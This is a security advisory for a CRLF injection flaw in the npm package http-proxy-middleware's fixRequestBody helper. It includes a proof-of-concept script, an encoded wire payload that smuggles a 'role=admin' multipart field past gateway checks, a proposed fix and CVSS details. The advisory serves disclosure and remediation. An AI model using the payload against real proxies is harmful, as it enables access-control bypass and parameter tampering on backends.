CVE-2026-55603
ADVISORY - githubSummary
Summary
fixRequestBody() is the library's documented helper for re-emitting a request body that was already consumed by a body parser. When the outgoing Content-Type is multipart/form-data, it rebuilds the body with handlerFormDataBodyData(), which interpolates each req.body key and value directly into the multipart wire format without neutralizing CR/LF:
// dist/handlers/fix-request-body.js
function handlerFormDataBodyData(contentType, data) {
const boundary = contentType.replace(/^.*boundary=(.*)$/, '$1');
let str = '';
for (const [key, value] of Object.entries(data)) {
str += `--${boundary}\r\nContent-Disposition: form-data; name="${key}"\r\n\r\n${value}\r\n`;
}
}
A \r\n inside a value (or key) lets an attacker close the current part and inject an entirely new form part. Because the proxy's own body parser saw a single opaque value, any gateway-side policy or validation performed on req.body is evaluated against a different set of fields than the upstream backend ultimately parses a request/parameter desynchronization across the trust boundary.
By contrast, the sibling output branches are safe: application/json uses JSON.stringify (escapes control chars) and application/x-www-form-urlencoded uses querystring.stringify (percent-encodes). Only the multipart branch lacks escaping.
Preconditions
All three must hold; this narrows real-world exposure and is the basis for AC:H:
- The proxy app populates
req.bodywith a non-multipart parser (express.urlencoded,express.json, or text) so an injected boundary in a value is not split on input. - The proxied (outgoing) request is sent as
multipart/form-data(e.g. an adaptation layer, or any flow that sets the upstream content-type to multipart), so the vulnerable branch runs. - The app calls
fixRequestBody(the documented pattern for "I body-parsed, now re-stream"), and an attacker controls at least one body field value or key.
Note: a pure multipart-in → multipart-out flow (e.g.
multer) is generally not exploitable for a new-field injection, because the proxy's multipart parser already splits the injected boundary, soreq.bodyand the backend agree. The desync specifically requires a non-multipart input parser.
Impact
When the preconditions hold, an attacker injects/overrides multipart fields seen only by the backend:
- Validation / access-control bypass bypass gateway-side field checks (demonstrated below: a gateway that forbids
role=adminis bypassed; backend grants admin). - Parameter tampering add or overwrite fields the backend trusts (IDs, flags, prices).
- File-part injection inject a
filename="..."part into the upstream multipart stream.
Proof of Concept
// npm i http-proxy-middleware@4.0.0 (Node ESM: save as minimal.mjs)
import { fixRequestBody } from 'http-proxy-middleware';
// `req.body` as a NON-multipart parser (express.urlencoded / express.json) yields it.
// The attacker sent user=alice%0D%0A--BB%0D%0A... so this ONE field's value holds CRLF:
const req = { readableLength: 0, body: {
user: 'alice\r\n--BB\r\nContent-Disposition: form-data; name="role"\r\n\r\nadmin\r\n--BB--'
}};
// Minimal stand-in for the outgoing proxy request; capture what gets written.
const out = [];
const proxyReq = {
h: { 'content-type': 'multipart/form-data; boundary=BB' },
getHeader(n){ return this.h[n.toLowerCase()]; },
setHeader(n,v){ this.h[n.toLowerCase()] = v; },
write(d){ out.push(Buffer.from(d)); },
};
fixRequestBody(proxyReq, req); // library rebuilds the multipart body
console.log(Buffer.concat(out).toString());
Output: one input field becomes two parts; role=admin was injected via the unescaped CRLF:
--BB
Content-Disposition: form-data; name="user"
alice
--BB
Content-Disposition: form-data; name="role" <-- injected part; never present in req.body's keys
admin
--BB--
req.body had a single key (user), so any gateway policy checking req.body.role passes, yet the backend's multipart parser receives role=admin. On the wire the attacker simply sends, as application/x-www-form-urlencoded: user=alice%0D%0A--BB%0D%0AContent-Disposition:%20form-data;%20name="role"%0D%0A%0D%0Aadmin%0D%0A--BB--
Remediation
Neutralize CR/LF (and ") in keys/values before interpolation, or build the body with a real multipart encoder (e.g. FormData / form-data) instead of string concatenation. Minimal fix:
function handlerFormDataBodyData(contentType, data) {
const boundary = contentType.replace(/^.*boundary=(.*)$/, '$1');
const bad = /[\r\n]/;
let str = '';
for (const [key, value] of Object.entries(data)) {
const v = String(value);
if (bad.test(key) || bad.test(v)) {
throw new Error('fixRequestBody: CR/LF not allowed in multipart field name/value');
}
str += `--${boundary}\r\nContent-Disposition: form-data; name="${key.replace(/"/g, '%22')}"\r\n\r\n${v}\r\n`;
}
}
(Reject is preferable to silent stripping, to avoid masking malicious input.)
Common Weakness Enumeration (CWE)
Improper Neutralization of CRLF Sequences ('CRLF Injection')
GitHub
2.2
CVSS SCORE
7.5high| Package | Type | OS Name | OS Version | Affected Ranges | Fix Versions |
|---|---|---|---|---|---|
| http-proxy-middleware | npm | - | - | >=3.0.4,<3.0.7 | 3.0.7 |
| http-proxy-middleware | npm | - | - | >=4.0.0,<4.1.1 | 4.1.1 |
CVSS:3 Severity and metrics
The CVSS metrics represent different qualitative aspects of a vulnerability that impact the overall score, as defined by the CVSS Specification.
The vulnerable component is bound to the network stack, but the attack is limited at the protocol level to a logically adjacent topology. This can mean an attack must be launched from the same shared physical (e.g., Bluetooth or IEEE 802.11) or logical (e.g., local IP subnet) network, or from within a secure or otherwise limited administrative domain (e.g., MPLS, secure VPN to an administrative network zone). One example of an Adjacent attack would be an ARP (IPv4) or neighbor discovery (IPv6) flood leading to a denial of service on the local LAN segment (e.g., CVE-2013-6014).
A successful attack depends on conditions beyond the attacker's control, requiring investing a measurable amount of effort in research, preparation, or execution against the vulnerable component before a successful attack.
The attacker is unauthorized prior to attack, and therefore does not require any access to settings or files of the vulnerable system to carry out an attack.
The vulnerable system can be exploited without interaction from any user.
An exploited vulnerability can affect resources beyond the security scope managed by the security authority of the vulnerable component. In this case, the vulnerable component and the impacted component are different and managed by different security authorities.
There is some loss of confidentiality. Access to some restricted information is obtained, but the attacker does not have control over what information is obtained, or the amount or kind of loss is limited. The information disclosure does not cause a direct, serious loss to the impacted component.
There is a total loss of integrity, or a complete loss of protection. For example, the attacker is able to modify any or all files protected by the impacted component. Alternatively, only some files can be modified, but malicious modification would present a direct, serious consequence to the impacted component.
There is no impact to availability within the impacted component.